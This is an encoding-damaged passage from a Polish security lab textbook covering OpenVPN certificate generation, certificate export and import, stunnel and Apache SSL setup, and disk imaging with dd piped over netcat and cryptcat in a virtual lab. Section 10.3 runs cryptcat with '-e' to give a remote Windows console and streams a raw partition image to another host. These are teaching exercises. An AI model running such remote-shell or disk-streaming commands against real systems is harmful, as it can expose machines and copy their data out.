9.4.1. Przejd� do katalogu /usr/share/doc/openvpn/examples/easy-rsa/2.0: 

cd /usr/share/doc/openvpn/examples/easy-rsa/2.0 

Aby nie wpisywa� ka�dorazowo informacji o sobie zmodyfikujemy teraz 
plik vars, którego pó�niejsze wykonanie podmieni standardowe ustawienia na 
nasze dane w skryptach generuj�cych poszczególne certyfikaty, dzi�ki czemu 
mo�liwe b�dzie zatwierdzanie kolejnych pul przyciskaj�c klawisz Enter bez 
wpisywania jakichkolwiek danych. 

9.4.2. Edytuj plik vars poleceniem: 

nano vars 

nast�pnie zmie� dane w polach: KEY_COUNTRY, KEY_PROVINCE, 
KEY_CITY, KEY_ORG, KEY_EMAIL na własne (rys. 9.11) i zapisz plik. 

 
Rys. 9.11 Zmiana standardowych ustawie� informacji przypisywanych do certyfikatu 

 	ródło: opracowanie własne. 
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9.4.3. Uruchom skrypt poleceniem: 

. ./vars 

nast�pnie wpisz: 

./clean-all 

Powy�sze polecenie usunie wszystkie pliki znajduj�ce si� w katalogu /keys 

9.4.4. W celu zbudowania CA wpisz: 

./build-ca 

nast�pnie potwierd� informacje, które zawarte b�d� w Centrum Certyfikacji, 
wciskaj�c Enter przy ka�dym pytaniu ewentualnie dokonaj korekty, je�eli 
zajdzie taka potrzeba. Pole Organization Unit Name jest opcjonalne, 
mo�esz je pomin��, w polu Common Name przyjmij sugerowan� nazw� lub 
wprowad� własn� (rys. 9.12). 

 
Rys. 9.12. Tworzenie CA przy pomocy skryptu doł�czonego do pakietu OpenVPN 

	ródło: opracowanie własne. 

9.4.5. Mamy ju� CA wiec mo�emy wygenerowa� certyfikat oraz klucz dla serwera, 
w tym celu wpisz w konsoli: 

./build-key-server server 

i w tym przypadku potwierd� klawiszem Enter informacje, które zawarte 
b�d� w certyfikacie serwera Pole Organization Unit Name jest opcjonalne, 



 

 213 

mo�esz je pomin��; w polu Common Name przyjmij sugerowan� nazw� 
serwera lub wprowad� własn� (rys. 9.13). 

 
Rys. 9.13. Generowanie certyfikatu dla serwera aplikacji OpenVPN 

	ródło: opracowanie własne. 

Po potwierdzeniu adresu Email zostaniesz poproszony o uzupełnienie dwóch 
dodatkowych atrybutów, pomi� je wciskaj�c dwukrotnie Enter. W kolejnym 
kroku wygenerowana zostanie pro�ba o podpisanie certyfikatu, zatwierd� podpisanie 
certyfikatu serwera przez Centrum Certyfikacji, wpisuj�c y i potwierdzaj�c 
wci�ni�ciem klawisza Enter (t� czynno�� wykonaj dwukrotnie). 

 
Rys. 9.14. Podpisywanie certyfikaty serwera aplikacji OpenVPN  

	ródło: opracowanie własne. 

9.4.6. Certyfikat oraz klucz klienta wygenerujesz, u�ywaj�c poni�szego polecenia: 

./build-key clientA 
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Procedura generowania certyfikatu jest identyczna jak w przypadku 
certyfikatu serwera, wi�c zostanie pomini�ta. Nowy certyfikat dla nowego 
klienta wygenerujesz przy u�yciu tego samego skryptu, zmieniaj�c jedynie 
nazw� klienta, np.: 

./build-key clientB 

9.4.7. Ostatnim krokiem jest wygenerowanie Diffie Hellman parameters przy 
pomocy polecenia: 

./build dh 

Klucz dh stanowi zabezpieczenie przed podsłuchem. 

 
Rys. 9.15. Generowanie pliku DH 
	ródło: opracowanie własne. 

Wszystkie wygenerowane w tym podpunkcie certyfikaty oraz klucze zmaga- 
zynowane zostały w katalogu /keys. 

 
Rys. 9.16. Katalog, w którym skrypty aplikacji OpenVPN magazynuj� wygenerowane pliki 

	ródło: opracowanie własne. 
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Poni�sza tabela prezentuje zestawienie certyfikatów oraz kluczy niezb�dnych do 
prawidłowego zestawienia bezpiecznego szyfrowanego poł�czenia za pomoc� 
aplikacji OpenVPN. W kolumnie drugiej oraz czwartej zaproponowana została 
polityka bezpiecze�stwa, jaka powinna by� stosowana przy obrocie certyfikatami 
i kluczami poszczególnych u�ytkowników.  

Nazwa pliku Wymagany przez Rola Tajny 

ca.crt 
Serwer i wszyscy 
klienci Certyfikat głównego CA NIE 

ca.key 
Maszyna, na której 
podpisywane s� 
certyfikaty 

Klucz głównego CA TAK 

dh{n}.pem Tylko serwer Diffie Hellman 
parameters NIE 

server.crt Tylko serwer Certyfikat serwera NIE 
server.key Tylko serwer Klucz serwera TAK 
clientA.crt Tylko klient A Certyfikat klienta A NIE 
clientA.key Tylko klient A Klucz klienta A TAK 
clientB.crt Tylko klient B Certyfikat klienta B NIE 
clientB.key Tylko Klient B Klucz klienta B TAK 

 

9.5. P#��"�!7���	����-/ �	����% ��!& �A��#"��� ��� ��!����% ���8� 

Aby uzyska� certyfikat podpisany przez Powszechne Centrum Certyfikacji, 
odwied� jeden z dwóch poni�szych linków (obie firmy oferuj� próbne darmowe 
certyfikaty): 

http://www.certum.pl/certum/certum,pz_certyfikaty_testowe.xml 
http://www.globalsign.com/free-trial/ 
Obie firmy oferuj� ró�ne typy certyfikatów do ró�nych zastosowa�; w tym 

punkcie b�dzie nas interesował podpis elektroniczny. W przypadku Certum, 
post�puj�c zgodnie z instrukcjami, w przegl�darce zostanie zainstalowany 
certyfikat potwierdzaj�cy Twoj� to�samo��, o tym jak wykona� jego kopie 
zapasow� przeczytasz w dalszej cz��ci �wiczenia. W przypadku GlobalSign 
certyfikat pobierzesz w postaci pliku z rozszerzeniem .pfx. 
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9.6. P#��"�!7��� 	����-/ � 	����% ��!& � A� ����#��#��� �� !����% ���-��
"���"�(+D$��� �� ��%#. 

9.6.1. Z paska menu wybierz Narz�dzia -> Opcje… -> Zaawansowane -> 
Szyfrowanie -> Wy�wietl certyfikaty -> Certyfikaty u�ytkownika 

9.6.2. Po odszukaniu certyfikatu na li�cie zaznacz go i wybierz Kopia zapasowa…, 
nast�pnie uzupełnij pole z nazw� pliku, pod któr� zapisany zostanie certyfikat. 

 
Rys. 9.17. Wykonanie kopii zapasowej certyfikatu w przegl�darce Firefox 

	ródło: opracowanie własne. 

Po wpisaniu hasła zabezpieczaj�cego i zatwierdzeniu przyciskiem OK (rys. 
9.18) zostanie wy�wietlony komunikat potwierdzaj�cy wykonanie kopii Twojego 
certyfikatu we wcze�niej wskazanym miejscu. 

 
Rys. 9.18. Zabezpieczenie kopii certyfikatu hasłem 

	ródło: opracowanie własne. 
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9.7. P#��"�!7��� 	����-/ � 	����% ��!& � A� ����#��#��� �� !����% ���-��
"���"�(+D$��� �����������.�+#��� 

9.7.1. Wybierz Start -> Uruchom i wpisz CERTMGR.MSC, nast�pnie wybierz 
Certyfikaty -> bie��cy u�ytkownik -> Osobisty -> Certyfikaty, kliknij 
prawym przyciskiem myszy certyfikat, który chcesz eksportowa� i wybierz 
Wszystkie zadania -> Eksportuj… (rys. 9.19). 

 
Rys. 9.19. Wykonanie kopii zapasowej certyfikatu w przegl�darce Internet Explorer 

	ródło: opracowanie własne. 

9.7.2. Nast�pnie zaznacz Tak, eksportuj klucz prywatny i przejd� Dalej,  
w kolejnym oknie wybierz Wymiana informacji osobistych PKCS #12 
(.PFX) (rys. 9.20). 

 
Rys. 9.20. Procedura tworzenia kopii zapasowej certyfikatu 

	ródło: opracowanie własne. 
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9.7.3. Tak jak w przypadku Firefox-a wpisz hasło chroni�ce kopie certyfikatu 
nast�pnie przejd� Dalej.  

 
Rys. 9.21. Zabezpieczeni kopii certyfikatu hasłem 

	ródło: opracowanie własne. 

9.7.4. Na koniec wpisz �cie�k�, pod któr� b�dzie zapisana kopia w formacie „ .pfx”  
(rys. 9.22), przej�cie dalej zako�czy prac� kreatora. Zostanie wy�wietlony 
komunikat potwierdzaj�cy poprawne wyeksportowanie kopii certyfikatu. 

 
Rys. 9.22. 
cie�ka, pod któr� zostanie zapisany certyfikat 

	ródło: opracowanie własne. 
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9.8. PKI���������!��A�7�������"��"���#�#��� -���+ ��!& ���-���+ 

9.8.1. Zainstaluj stunnel poleceniem: 

apt-get install stunnel 

9.8.2. Przejd� do katalogu /root/cert/stunnel i skopiuj plik konfiguracyjny stunnela 
do tego katalogu: 

cp /etc/stunnel/stunnel.conf /root/cert/stunnel/ 

9.8.3. Edytuj plik konfiguracyjny stunnel-a i zmie� �cie�k� do certyfikatu  
(rys. 9.23) na 

cert = /Root/cert/stunnel/stunnel.pem  

oraz �cie�k� do certyfikatu głównego (rys. 9.24) na 

CAfile = /root/cert/stunnel/ca.pem  

 
Rys. 9.23. Fragment pliku konfiguracyjnego odpowiedzialny  

za �cie�k� do certyfikatu aplikacji.  
	ródło: opracowanie własne. 

 
Rys. 9.24. Fragment pliku konfiguracyjnego odpowiedzialny  

za �cie�k� do certyfikatu głównego.  
	ródło: opracowanie własne. 

9.8.4. Upewnij si� czy fragment odpowiedzialny za działanie https-u (rys. 9.25) 
jest odkomentowany. 

 
Rys. 9.25. Fragment pliku konfiguracyjnego odpowiedzialny  

za działanie https-a 
	ródło: opracowanie własne. 
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9.8.5. Zapisz plik pod niezmienion� nazw� i uruchom aplikacje poleceniem: 

stunnel4 stunnel.conf 

9.8.6. Wł�cz serwer apache poleceniem: 

start-apache 

9.8.7. Nast�pnie na maszynie, na której uruchomiono serwer apache poł�cz si�  
z dowolnej przegl�darki internetowej z adresem https://127.0.0.1 (rys. 9.26). 

 
Rys. 9.26. Ostrze�enie wygenerowane przez przegl�dark� o tym, �e certyfikat  

został podpisany przez niewiarygodn� jednostk� CA 
	ródło: opracowanie własne. 

Przy próbie nawi�zania bezpiecznego poł�czeniu z lokalnym serwerem www 
zostaniesz ostrze�ony o tym, �e serwer z którym próbujesz si� poł�czy� u�ywa 
nieprawidłowego (samopodpisanego certyfikatu) i zwi�zku z tym, aby móc obejrze� 
zawarto�� strony musisz zaakceptowa� wyj�tek bezpiecze�stwa. 
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9.8.8. Wy�wietl szczegóły certyfikatu i zweryfikuj dane w nim zawarte (rys. 9.27). 

 
Rys. 9.27. Widok szczegółów certyfikatu 

	ródło: opracowanie własne. 

9.9. PKI ��������!��A�7����������!7� 

9.9.1. Wł�cz moduł ssl-a poleceniem: 

a2enmod ssl 

i przeładuj serwer apacha, wpisuj�c: 

/etc/init.d/apache2 force-reload 

9.9.2. Przejd� do katalogu /etc/apache2/sites-available: 

cd /etc/apache2/sites-available 

i edytuj plik konfiguracyjny modułu ssl: 

nano default-ssl 
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9.9.3. Odszukaj i usu� komentarze sprzed nast�puj�cych linii edytowanego pliku 
konfiguracyjnego: 

SSLEngine on 
SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire 
SSLCertificateFile /etc/ssl/certs/server.crt 
SSLCertificateKeyFile /etc/ssl/private/server.key 
SSLCACertificateFile /root/cert/apache/cacert.pem 

Trzy poni�sze rysunki pomog� Ci zlokalizowa� odpowiednie linie, które 
wymagaj� modyfikacji. 

 
Rys. 9.28. Plik konfiguracyjny modułu ssl 

	ródło: opracowanie własne. 

 
Rys. 9.29. Plik konfiguracyjny modułu ssl 

	ródło: opracowanie własne. 

 
Rys. 9.30. Plik konfiguracyjny modułu ssl  

	ródło: opracowanie własne. 

9.9.4. Uruchom standardow� konfiguracj� ssl poleceniem: 

a2ensite default-ssl 

a nast�pnie zrestartuj serwer apache: 

/etc/init.d/apache2 restart 

9.9.5. W katalogu /var/www/ umie�� zawarto�� katalogu PKI/apache/ z płyty DVD. 
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9.9.6. Uruchom przegl�dark�, wpisuj�c http://localhost/, a nast�pnie zaloguj si�  
z u�yciem dowolnych danych. 

 
Rys. 9.31. Przykład panelu logowania 

	ródło: opracowanie własne. 

Przy próbie zalogowania si� dane zostan� wysłane przy pomocy protokołu 
ssl do modułu login.php. Przy pierwszym logowaniu wy�wietlone zostanie 
ostrze�enie o tym, �e certyfikat u�ywany przez serwer nie jest zaufany (rys. 9.32). 

 
Rys. 9.32. Ostrze�enie o niezaufanej stronie www 

	ródło: opracowanie własne. 



 

 224 

Kiedy dodasz wyj�tek bezpiecze�stwa, pobierzesz certyfikat i wy�wietlisz 
informacje w nim zawarte, mo�esz sprawdzi� kto i dla kogo wystawił certyfikat 
(rys. 9.33).  

 
Rys. 9.33. Widok szczegóły certyfikatu 

	ródło: opracowanie własne. 

Przed zaakceptowaniem certyfikatu w zakładce Details mo�esz podejrze� 
hierarchie certyfikatów (rys. 9.34). 

 
Rys. 9.34 Hierarchia certyfikatów 
	ródło: opracowanie własne. 
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Po dodaniu wyj�tku bezpiecze�stwa i zaufaniu certyfikatowi wy�wietlona 
zostanie zawarto�� strony (rys. 9.35). 

 
Rys. 9.35. Widok strony po zalogowaniu 

	ródło: opracowanie własne. 

9.10. PKI ��������!��−−−−� / �#��#��� ��!����% ���-��
$#��+ ������7-�$��2 �$ 

9.10.1. Z paska menu wybierz Narz�dzia -> Opcje… -> Zaawansowane -> 
Szyfrowanie -> Wy�wietl certyfikaty -> Certyfikaty u�ytkownika -> 
Importuj, zostaniesz poproszony o wskazanie miejsca na dysku, gdzie 
zapisana została kopia Twojego certyfikatu. 

9.10.2. Nast�pnie podaj hasło, którym zabezpieczona została kopia podczas  
jej tworzenia, po jego prawidłowym podaniu cała operacja zostanie 
potwierdzona stosownym komunikatem. 

 
Rys. 9.36. Weryfikacja własno�ci certyfikatu 

	ródło: opracowanie własne. 

9.11. PKI ��������!��A� / �#��#��� ��!����% ���-��
$#��+ ������ ��
 -�+##� 

9.11.1. MS Outlook korzysta z tego samego magazynu certyfikatów co IE, wi�c 
je�eli zainstalowałe� certyfikat w przegl�darce, mo�esz przej�� do 
podpisywania wiadomo�ci. 

9.11.2. Aby importowa� certyfikat wybierz Narz�dzia -> Opcje… ->  
   Zabezpieczenia -> Importuj/eksportuj… 
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9.11.3. Wska� miejsce, gdzie zapisana została kopia certyfikatu oraz podaj hasło 
u�yte przy jej tworzeniu i nazw� (rys. 9.37), potwierd� importowanie 
klucza wymiany (rys. 9.38). 

 
Rys. 9.37. Importowanie certyfikatu do klienta pocztowego MS Outlook 

	ródło: opracowanie własne. 

 
Rys. 9.38. Importowanie klucza wymiany 

	ródło: opracowanie własne. 
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9.12. PKI ��������!��A��#$� ����� ��� �$#/ #E! ��7-�$��2 �$ 

9.12.1. Wybierz Zabezpieczenia -> Podpisz cyfrowo t� wiadomo�� (rys. 9.39), 
podpisuj�c wiadomo�� pierwszy raz poproszony zostaniesz o skonfiguro- 
wanie osobistego certyfikatu. 

 
Rys. 9.39. Konfiguracja osobistego certyfikatu 

	ródło: opracowanie własne. 

9.12.2. Kliknij Wybierz obok pola opisanego jako Certyfikat, który b�dzie 
u�ywany do cyfrowego podpisywania wysyłanych wiadomo�ci: nast�pnie 
wybierz swój certyfikat z rozwijanej listy i zatwierd� OK (rys. 9.40). 
Gdy aplikacja zapyta czy do szyfrowania maili wysyłanych do tego konta 
ma u�y� tego samego certyfikat, wybierz OK (rys. 9.41). 

 
Rys. 9.40. Wybór certyfikatu 
	ródło: opracowanie własne. 
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Rys. 9.41. Wybranie certyfikatu do szyfrowania i deszyfrowania wiadomo�ci 

odbieranych przez wła�ciciela certyfikatu  
	ródło: opracowanie własne. 

9.13. PKI � ������!��A��#$� ����� ��� �$#/ #E! �� ��
 -�+##� 

9.13.1. Narz�dzia -> Opcje -> Zabezpieczenia. Zaznacz opcje Dodaj podpis 
cyfrowy do wysyłanych wiadomo�ci i wybierz Ustawienia… 

 
Rys. 9.42. Konfigurowanie podpisu w kliencie MS Outlook 

	ródło: opracowanie własne. 
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9.13.2. Wpisz nazw� ustawie� i kliknij przycisk Wybierz… znajduj�cy si� obok 
pola opisanego jako Certyfikaty i algorytmy nast�pnie zaznacz swój 
certyfikat i zatwierd� klikaj�c OK. 

 
Rys. 9.43. Wybieranie certyfikatu 
	ródło: opracowanie własne. 

9.13.3. Podpisz cyfrowo wiadomo�� (rys. 9.44). 

 
Rys. 9.44. Podpisywanie wiadomo�ci 

	ródło: opracowanie własne. 
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10. K
 ���������
 � �� 

Opracował: Sebastian Bugała, Maciej Szmit 
Cel �wiczenia: Wykonanie binarnej kopi partycji. 
Potrzebne narz�dzia: BackTrack Linux 4, Ubuntu 10.10, Microsoft 

Windows server 2003, netcat dla windows, cryptcat 
dla windows, dd dla Windows, dysk USB (pendrive) 

Literatura: Szmit Maciej, O kopiach zapasowych i innych 
oczywisto�ciach. Boston IT Security Review, 2007,  
nr 3, ss. 8-11. 

Ka�dy system podatny jest na ataki, awarie czy te� czynniki �rodowiskowe, 
na które nie mamy wpływu. Najwa�niejsz� form� zapobiegania utracie wa�nych 
danych jest regularne tworzenie kopii zapasowych. Rozs�dna polityka w tej 
kwestii pozwala na zaoszcz�dzenie czasu oraz zminimalizowanie lub całkowite 
zapobiegni�cie utracie kluczowych danych. 

W poni�szym �wiczeniu zapoznasz si� z bardzo prostym, darmowym,  
a zarazem funkcjonalnym narz�dziem, jakim jest dd (ang. convert and copy).  
W drugiej cz��ci �wiczenia przygotujesz dysk systemowy USB, którego b�dziesz 
mógł u�ywa� do wykonywania kopii rzeczywistych maszyn. 

Przed przyst�pieniem do wykonania �wiczenia dodaj do maszyn wirtualnych 
z systemami BackTrack 4 i Windows Server 2003 nowy dysk o pojemno�ci  
około 300 MB zgodnie z instrukcja zamieszczon� w rozdziale ” Przygotowanie 
�rodowiska pracy” .  

 
Rys. 10.1. Topologia sieci wykorzystana w �wiczeniu 

	ródło: opracowanie własne. 
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10.1. W��#��� ��#2��"-������!&  

10.1.1. Przejd� do Wirtualnej Maszyny z systemem BackTrack. 

10.1.2. Do wy�wietlenia listy wszystkich dysków oraz partycji na nich zało�onych 
w systemie Linux (BackTrack 4) słu�y polecenie: 

fdisk -l 

Przy pomocy tego polecenia uzyskasz informacje odno�nie do podł�czonych 
dysków twardych i tablic partycji. Przykładowy efekt działania polecenia 
przedstawia rys. 10.2, z którego odczyta� mo�emy informacje o typie urz�dzenia 
oraz ilo�ci partycji na nim zało�onych. 

 
Rys. 10.2. Lista dysków twardych i partycji na nich zało�ony 

	ródło: opracowanie własne. 

10.1.3. Przed przyst�pieniem do dalszych czynno�ci musisz odmontowa� wybran� 
do skopiowania partycj� (w naszym przypadku sdb1). Poni�sze polecenie 
wy�wietla informacje o punktach montowania wszystkich partycji 
(rys. 10.3). 

mount 
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Rys. 10.3. Lista punktów montowania partycji 

	ródło: opracowanie własne. 

10.1.4. Odmontuj wybran� partycj� poleceniem umount, dla partycji sdb1 
zamontowanej w /media/sdb1 polecenie wygl�da nast�puj�co: 

umount /media/sdb1 

10.1.5. Do wykonania obrazu u�yj aplikacji dd zgodnie ze składni�: 

dd if=</&ródło> of=</miejsce/gdzie/b'dzie/zapisany/obraz> 

dla partycji sdb1 polecenie wygl�dało b�dzie nast�puj�co: 

dd if=/dev/sdb1 of=/root/sdb1.img 

Wykonanie powy�szego polecenia spowoduje rozpocz�cie zapisu obrazu 
partycji sdb1 w katalogu /root pod nazw� sdb1.img, wci�niecie kombinacji 
klawiszy ctrl + c przerywa ten proces, po zako�czeniu kopiowania wy�wietlona 
zostanie statystyka z wykonania obrazu. 

 
Rys. 10.4. Statystyka z wykonania obrazu lokalnej partycji. 	ródło: opracowanie własne. 

10.1.6. W celu ponownego zamontowania partycji u�yj polecenia mount, którego 
składnia wygl�da nast�puj�co: 

mount /dev/<nazwa_partycji> </miejsce/gdzie/b'dzie/zamontowana/partycja> 

dla naszego przykładu przyjmie posta�: 

mount /dev/sdb1 /media/sdb1 
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10.2. W��#��� �� ���"��C�� ��#2��"-���������� 

Do transferu obrazu przez sie� wykorzystano aplikacje Netcat. 

10.2.1. W systemie BackTrack w konsoli wpisz: 

nc -l -p 4321 | dd of=/root/dysk_e.img 

gdzie: 

-l – wł�cza nasłuch dla poł�cze� nadchodz�cych, 
-p – port, który b�dzie u�yty przez aplikacje do komunikacji. 

Spowoduje to wł�czenie nasłuchu przez aplikacje Netcat na porcie 4321 oraz 
przekazanie odebranych danych do aplikacji dd, która umo�liwi zapis danych  
w pliku o podanej nazwie, kombinacja klawiszy ctrl + c przerywa t� operacj�. 

10.2.2. Przejd� do Wirtualnej Maszyny z systemem Windows serwer 2003. 

10.2.3. Na partycji C:\ nale�y stworzy� katalog /programy i przenie�� do niego 
cał� zawarto�� katalogu /Kopie zapasowe/ znajduj�cego si� na płycie DVD. 

10.2.4. W konsoli przejd� do katalogu C:\programy 

cd C:\programy 

nast�pnie wpisz: 

dd --list 

Otrzymasz dokładnie ten sam rezultat co przy poleceniu fdisk -l w systemie 
Linux, wy�wietlona zostanie lista wszystkich dysków i partycji na nich zało�onych 
wraz z ich punktami montowania; przykładowy efekt działania polecenia poni�ej: 

 
C:\programy>dd --list 
dd --list 
rawwrite dd for windows version 0.5. 
Written by John Newbigin <jn@it.swin.edu.au> 
This program is covered by the GPL.  See copying.txt for details 
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Win32 Available Volume Information 
\\.\Volume{8b41a17c-74eb-11df-bf9e-806e6f6e6963}\ 
  link to \\?\Device\HarddiskVolume1 
  fixed media 
  Mounted on \\.\c: 
 
\\.\Volume{3a46dbaf-74f4-11df-8b96-806e6f6e6963}\ 
  link to \\?\Device\CdRom0 
  CD-ROM 
  Mounted on \\.\d: 
 
\\.\Volume{8b41a178-74eb-11df-bf9e-806e6f6e6963}\ 
  link to \\?\Device\Floppy0 
  removeable media 
  Mounted on \\.\a: 
 
\\.\Volume{811a4896-5209-4919-b032-3e5192676a7e}\ 
  link to \\?\Device\HarddiskDmVolumes\Admin-s9h60mkrzDg0\Volume1 
  fixed media 
  Mounted on \\.\e: 
 
 
NT Block Device Objects 
\\?\Device\CdRom0 
  size is 2147483647 bytes 
\\?\Device\Floppy0 
\\?\Device\Harddisk0\Partition0 
  link to \\?\Device\Harddisk0\DR0 
  Fixed hard disk media. Block size = 512 
  size is 4294967296 bytes 
\\?\Device\Harddisk0\Partition1 
  link to \\?\Device\HarddiskVolume1 
\\?\Device\Harddisk1\Partition0 
  link to \\?\Device\Harddisk1\DR1 
  Fixed hard disk media. Block size = 512 
  size is 213909504 bytes 
 
Virtual input devices 
 /dev/zero   (null data) 
 /dev/random (pseudo-random data) 
 -           (standard input) 
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10.2.5. Aby uruchomi� aplikacje dd i przy pomocy netcat-a przesła� obraz przez 
sie�, u�yj polecenia zbudowanego w nast�puj�cy sposób: 

dd if=<&ródło> | nc adres_ip_serwera port 

dla naszego przypadku: 

dd if=\\.\e: | nc 172.16.1.2 4321 

Po uko�czeniu wykonywania obrazu, tak jak poprzednio, wy�wietlona 
zostanie statystyka. 

10.3. Zdalne wykonanie i przesłanie obrazu na serwer 

Zastosowanie Netcat-a do przesyłania obrazu jest prostym, lecz mało bezpie-
cznym rozwi�zaniem ze wzgl�du na brak szyfrowania transmisji, co nie zapewnia 
nale�ytego bezpiecze�stwa danych i słu�y jedynie jako przykład pozwalaj�cy 
lepiej pozna� i zrozumie� mo�liwo�ci aplikacji dd. Znacznie lepszym rozwi�zaniem 
jest zastosowanie programu cryptcat (bazuj�cego na programie netcat) rozsze-
rzonego o dodatkow� funkcjonalno��, jak� jest szyfrowanie transmisji przy 
wykorzystaniu algorytmu Twofish.  

W tym podpunkcie wykorzystamy cryptcat-a zarówno do uzyskania zdalnego 
dost�pu, jak i przesłania danych na serwer. Oczywi�cie istniej� prostsze metody 
zdalnego dost�pu, aczkolwiek poni�sza instrukcja ma na celu zapoznanie si�  
z wy�ej wymienion� aplikacja i jej mo�liwo�ciami. 

10.3.1. Na Wirtualnej Maszynie z systemem Windows serwer 2003 przejd� do 
katalogu C:\programy\ i uruchom Cryptcat-a z parametrami jak na 
rys. 10.5. 

 
Rys. 10.5. Konfiguracja Netcat-a dla zdalnego dost�pu 

	ródło: opracowanie własne. 

gdzie: 

-l – wł�cza nasłuchiwanie dla poł�cze� nadchodz�cych, 
-p – port, który b�dzie u�yty przez aplikacje „nc” do komunikacji, 
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-e – gdy poł�czenie zostanie nawi�zane uruchomiona zostanie aplikacja, 
do której podasz �cie�k�, 

-k – klucz u�yty do szyfrowania transmisji, je�eli klucze po stronie 
serwera oraz klienta b�d� ró�ne, poł�czenie zostanie nawi�zane, ale nie b�dziemy  
w stanie odszyfrowa� otrzymywanych informacji. 

10.3.2. Po skonfigurowaniu cryptcat-a na ho�cie przenie� si� na Wirtualn� 
Maszyn� z systemem BackTrack 4, tak� jak w przypadku netcat-a  
z podpunktu 10.2.1 wymagane jest przestawienie jednej instancji aplikacji 
cryptcat w tryb nasłuchu oraz podanie �cie�ki do pliku, w którym 
aplikacja dd zapisze odebrane dane, cało�� zrealizuje poni�sze polecenie. 

cryptcat -l -p 4321 –k bssbackup | dd of=/root/dysk_e.img 

10.3.3. W drugiej instancji konsoli ustanów zdalne polaczenie do hosta za pomoc� 
polecenia o nast�puj�cej składni: 

cryptcat ip_hosta port –k hasło 

dla naszego przypadku: 

cryptcat 172.16.1.3 1234 –k password 

Po prawidłowym wpisaniu parametrów poł�czenia (ip, port, hasło) uzyskasz 
dost�p do w pełni funkcjonalnej konsoli systemu Windows serwer 2003 (rys. 10.6). 

 
Rys. 10.6. 	ródło: opracowanie własne. 

10.3.4. Raz jeszcze wykonaj obraz partycji z punktu 10.2.4 przy pomocy 
nast�puj�cego polecenia: 

dd if=<&ródło> | cryptcat adres_ip_serwera port –k hasło 

dla naszego przypadku: 

dd if=\\.\e: | cryptcat 172.16.1.2 4321 –k bssbackup 
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Po uko�czeniu wykonywania obrazu, tak jak poprzednio, wy�wietlona zostanie 
statystyka. 

10.4. Z�/ #��#��� �������!& �"�#2��"- 

10.4.1. Przejd� na Wirtualn� Maszyn� z systemem BackTrack4. 

10.4.2. W celu zamontowania partycji z obrazu w systemie Linux wymagane jest 
wskazanie punktu montowania danej partycji, czyli katalogu, przez który 
uzyskamy logiczny dost�p do danych, najlepiej do tego celu stwórz nowy 
katalog. 

mkdir /media/dysk_E 

10.4.3. Obraz zamontuj za pomoc� polecenia mount: 

mount -o loop </(cie)ka/do/pliku_z_obrazem.img> 
</(cie)ka/do/punktu/montowania> 

gdzie: 

-o – umo�liwia ustawienie dotykowych opcji, 
loop – tworzy wirtualne urz�dzenie. 

dla obrazu z punktu 10.2/10.3 polecenie wygl�da nast�puj�co:  

mount -o loop /root/dysk_e.img /media/dysk_E 

10.5. P�"���8!�� �������!& �"�#2��"- 

10.5.1. Na Wirtualnej Maszynie z systemem BackTrack 4 usu� lub zmie� 
struktur� plików na partycji sdb1. np. tak jak na rys. 10.7: 

 
Rys. 10.7. Zmiana struktury plików na partycji testowej 

	ródło: opracowanie własne. 
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Na powy�szym przykładzie za pomoc� polecenia mkdir został stworzony 
katalog important_data. 

10.5.2. Nast�pnie odmontuj partycje sdb1 poleceniem umount: 

umount /media/sdb3/ 

10.5.3. Aby przywróci� partycje z obrazu wykonanego w punkcie 10.1 wykorzystaj 
aplikacje dd, podaj�c jako �ródło �cie�k� do pliku z obrazem, a jako 
miejsce docelowe partycje sdb1, procedur� przywracania przedstawia 
rys. 10.8. 

 
Rys. 10.8. Przywracanie zawarto�ci partycji z obrazu 

	ródło: opracowanie własne. 

10.5.4. W celu weryfikacji poprawno�ci przeprowadzonych czynno�ci zamontuj 
ponownie partycje sdb1. 

 
Rys. 10.9. Weryfikacja zawarto�ci przywróconej partycji 

	ródło: opracowanie własne. 

Je�eli obraz wykonano prawidłowo, a przywracanie przebiegło bez �adnych 
bł�dów, to wszystkie zmiany zostan� przywrócone do stanu, w którym wykonano 
obraz, co ilustruje rys. 10.9. Nale�y pami�ta� o regularnym wykonywaniu kopii 
zapasowych, poniewa� po przywróceniu nieaktualnego obrazu mo�e si� okaza�, 
�e i tak stracili�my cenne dla nas dane. 

10.6. A-�#/ ���$��/ �(����$�����#�� 

AIR (ang. Automated Image and Restore) jest nakładk� graficzn� w systemie 
Linux na dd zaprojektowan� w celu ułatwienia wykonywania obrazów binarnych 
dysków twardych. 

10.6.1. W systemie Ubuntu 10.10 przejd� do linii polece� u�ytkownika root: 

sudo su 
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10.6.2. Zainstaluj perl-tk, sharutils, cryptcat-a przy pomocy nast�puj�cych polece�: 

apt-get install perl-tk 
apt-get install sharutils 
apt-get install cryptcat 

10.6.3. Pobierz aplikacje air ze strony http://sourceforge.net/projects/air-imager/ 

10.6.4. Przejd� w konsoli do folderu, w którym zapisałe� archiwum zawieraj�ce 
aplikacje, a nast�pnie u�yj poni�szego polecenia w celu rozpakowania 
archiwum (uwaga, nazwa archiwum/skryptu instalacyjnego mo�e ulec 
zmianie w kolejnych wersjach aplikacji, niniejsza instrukcja dotyczy 
wersji 2.0.0): 

tar -xzf air-2.0.0.tar.gz 

10.6.5. Wejd� do folderu aplikacji poleceniem: 

cd air-2.0.0 

i uruchom skrypt instalacyjny, wpisuj�c: 

./install-air-2.0.0 

po rozpocz�ciu działania skryptu zostaniesz zapytany czy na pewno 
chcesz zainstalowa� aplikacje, wci�nij Enter. 

 
Rys. 10.10. Skrypt instalacyjny aplikacji AIR 

	ródło: opracowanie własne. 
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10.6.6. W systemie Ubuntu 10.10 wpisz w konsoli polecenie: 

air 

które uruchomi aplikacj�. 

10.6.7. Ubuntu 10.10 posłu�y jako magazyn dla obrazu, który wykonasz za chwil�, 
wybierz miejsce, gdzie zapisany zostanie obraz, klikaj�c na ikonk� po 
prawej stronie pola opisanego jako Destination device/file: nast�pnie 
wybierz katalog /root/, a w polu File name: wpisz data.img i kliknij 
Save (rys. 10.11). 

 
Rys. 10.11. Konfiguracja miejsca zapisu obrazu po stronie magazynu obrazów 

	ródło: opracowanie własne. 
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10.6.8. 	ródło obrazu ustawisz, wybieraj�c przycisk NET - > Source, w nast�pnym 
oknie dialogowym poproszony zostaniesz o podanie portu, na którym 
b�dzie nasłuchiwała aplikacja, wpisz 12345 i zatwierd� przyciskiem Ok, 
dostaniesz informacje, �e do rozpocz�cia procesu trzeba wybra� przycisk 
Start, jednak zanim to zrobisz uaktywnij opcje cryptcat. Dwa poni�sze 
rysunki przedstawiaj� proces poprawnej konfiguracji programu. 

 
